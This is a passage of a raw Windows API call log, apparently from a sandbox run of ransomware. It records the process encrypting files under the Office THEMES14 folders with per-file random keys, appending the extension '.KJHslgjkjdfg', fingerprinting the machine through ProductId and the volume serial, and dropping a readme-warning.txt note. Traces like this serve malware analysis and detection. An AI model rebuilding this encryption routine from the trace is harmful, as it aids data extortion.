ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xd97, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0171.614] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0171.614] GetProcessHeap () returned 0x990000 [0171.614] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0171.614] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0171.614] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0171.614] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x9, lpOverlapped=0x0) returned 1 [0171.617] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.617] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.618] GetProcessHeap () returned 0x990000 [0171.618] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0171.618] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0171.618] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.618] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0171.618] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0171.618] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0171.618] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0171.618] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0171.618] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0171.619] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.619] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.619] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.619] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xd97, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0xd97, lpOverlapped=0x0) returned 1 [0171.619] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xda0, dwBufLen=0xda0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xda0) returned 1 [0171.619] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.619] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0xda0, lpOverlapped=0x0) returned 1 [0171.619] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.619] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xe74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.619] SetEndOfFile (hFile=0x12c) returned 1 [0171.622] GetProcessHeap () returned 0x990000 [0171.622] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0171.622] GetProcessHeap () returned 0x990000 [0171.622] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0171.622] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif.kjhslgjkjdfg")) returned 1 [0171.623] CloseHandle (hObject=0x12c) returned 1 [0171.623] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7c5d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0171.623] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0171.624] GetProcessHeap () returned 0x990000 [0171.624] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0171.624] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0171.624] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0171.624] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x3, lpOverlapped=0x0) returned 1 [0171.627] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.627] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.627] GetProcessHeap () returned 0x990000 [0171.627] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0171.627] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0171.627] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.627] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0171.627] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0171.627] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0171.627] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0171.627] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0171.627] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0171.628] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.628] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.628] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.628] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7c5d, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x7c5d, lpOverlapped=0x0) returned 1 [0171.629] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x7c60, dwBufLen=0x7c60 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x7c60) returned 1 [0171.629] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.629] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7c60, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x7c60, lpOverlapped=0x0) returned 1 [0171.630] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.630] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x7d34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.630] SetEndOfFile (hFile=0x12c) returned 1 [0171.634] GetProcessHeap () returned 0x990000 [0171.634] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0171.634] GetProcessHeap () returned 0x990000 [0171.634] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0171.634] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0171.640] CloseHandle (hObject=0x12c) returned 1 [0171.640] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7c5d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0171.640] GetProcessHeap () returned 0x990000 [0171.640] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0171.640] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0171.640] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29dee20 | out: pbData=0x9af7b0, pdwDataLen=0x29dee20) returned 1 [0171.640] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.640] GetProcessHeap () returned 0x990000 [0171.640] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0171.640] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0171.640] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29dee20 | out: pbData=0x9af7f8, pdwDataLen=0x29dee20) returned 1 [0171.640] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.640] GetProcessHeap () returned 0x990000 [0171.640] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9f99f0 [0171.640] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0171.641] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9f99f0, pdwDataLen=0x29dee20 | out: pbData=0x9f99f0, pdwDataLen=0x29dee20) returned 1 [0171.641] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.641] GetProcessHeap () returned 0x990000 [0171.641] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0171.641] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0171.641] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29dea00 | out: pbData=0x9af840, pdwDataLen=0x29dea00) returned 1 [0171.641] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.641] GetProcessHeap () returned 0x990000 [0171.641] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0171.641] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0171.641] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29dea00 | out: pbData=0x9b18c8, pdwDataLen=0x29dea00) returned 1 [0171.641] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.641] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de9fc | out: phkResult=0x29de9fc*=0x12c) returned 0x0 [0171.641] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29dea08, lpcbData=0x29dea04*=0x400 | out: lpType=0x0, lpData=0x29dea08*=0x30, lpcbData=0x29dea04*=0x18) returned 0x0 [0171.641] RegCloseKey (hKey=0x12c) returned 0x0 [0171.641] GetProcessHeap () returned 0x990000 [0171.641] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0171.641] GetProcessHeap () returned 0x990000 [0171.642] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0171.642] GetProcessHeap () returned 0x990000 [0171.642] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0171.642] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0171.642] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de7d4 | out: pbData=0x9b18c8, pdwDataLen=0x29de7d4) returned 1 [0171.642] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.642] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0171.642] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0171.642] GetProcessHeap () returned 0x990000 [0171.642] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0171.642] wsprintfA (in: param_1=0x29dea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0171.642] wsprintfA (in: param_1=0x29dee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0171.642] GetProcessHeap () returned 0x990000 [0171.642] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b78c0 [0171.642] wsprintfW (in: param_1=0x29dddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\readme-warning.txt") returned 83 [0171.642] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0171.643] WriteFile (in: hFile=0x12c, lpBuffer=0x9b78c0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29dddf8, lpOverlapped=0x0 | out: lpBuffer=0x9b78c0*, lpNumberOfBytesWritten=0x29dddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0171.645] CloseHandle (hObject=0x12c) returned 1 [0171.645] GetProcessHeap () returned 0x990000 [0171.645] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f99f0 | out: hHeap=0x990000) returned 1 [0171.645] GetProcessHeap () returned 0x990000 [0171.645] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0171.645] GetProcessHeap () returned 0x990000 [0171.645] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0171.645] GetProcessHeap () returned 0x990000 [0171.645] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0171.645] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0171.645] GetProcessHeap () returned 0x990000 [0171.646] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1eb0 | out: hHeap=0x990000) returned 1 [0171.646] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BREEZE", cAlternateFileName="")) returned 1 [0171.646] GetProcessHeap () returned 0x990000 [0171.646] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8e) returned 0x9b0940 [0171.646] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0171.648] GetProcessHeap () returned 0x990000 [0171.648] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0171.648] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0171.648] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea563500, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a61ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xea563500, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x1a537, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BREEZE.ELM", cAlternateFileName="")) returned 1 [0171.648] GetProcessHeap () returned 0x990000 [0171.648] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x290) returned 0x9b1eb0 [0171.648] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0171.648] GetProcessHeap () returned 0x990000 [0171.649] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0171.649] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0171.649] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0171.649] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x9, lpOverlapped=0x0) returned 1 [0171.652] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.652] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.652] GetProcessHeap () returned 0x990000 [0171.652] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0171.652] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30) returned 1 [0171.652] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.652] WriteFile (in: hFile=0x12c, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29defe8*=0x30, lpOverlapped=0x0) returned 1 [0171.653] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0171.653] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0171.653] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0171.653] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0171.653] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0171.653] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.653] CryptSetKeyParam (hKey=0x9b6668, 